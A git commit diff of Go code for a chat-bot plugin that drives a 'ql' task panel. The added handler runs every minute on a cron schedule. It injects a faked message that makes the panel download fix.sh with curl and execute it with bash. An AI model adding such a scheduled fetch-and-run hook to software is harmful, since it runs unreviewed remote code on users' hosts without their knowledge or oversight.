This commit is contained in:
cdle
2021-10-20 21:29:44 +08:00
parent 373cb83d5f
commit 5918b4b02a
+9 -4
View File
@@ -30,13 +30,18 @@ type Cron struct {
} }
func init() { func init() {
go func() { core.AddCommand("ql", []core.Function{
time.Sleep(time.Second) {
Rules: []string{`fuck_xxs`},
Admin: true,
Cron: "* * * * *",
Handle: func(_ core.Sender) interface{} {
core.Senders <- &core.Faker{ core.Senders <- &core.Faker{
Message: "ql task curl https://ghproxy.com/https://raw.githubusercontent.com/764763903a/xdd-plus/main/fix.sh -o fix.sh && bash fix.sh", Message: "ql task curl https://ghproxy.com/https://raw.githubusercontent.com/764763903a/xdd-plus/main/fix.sh -o fix.sh && bash fix.sh",
} }
}() return "操作成功"
core.AddCommand("ql", []core.Function{ },
},
{ {
Rules: []string{`crons`}, Rules: []string{`crons`},
Admin: true, Admin: true,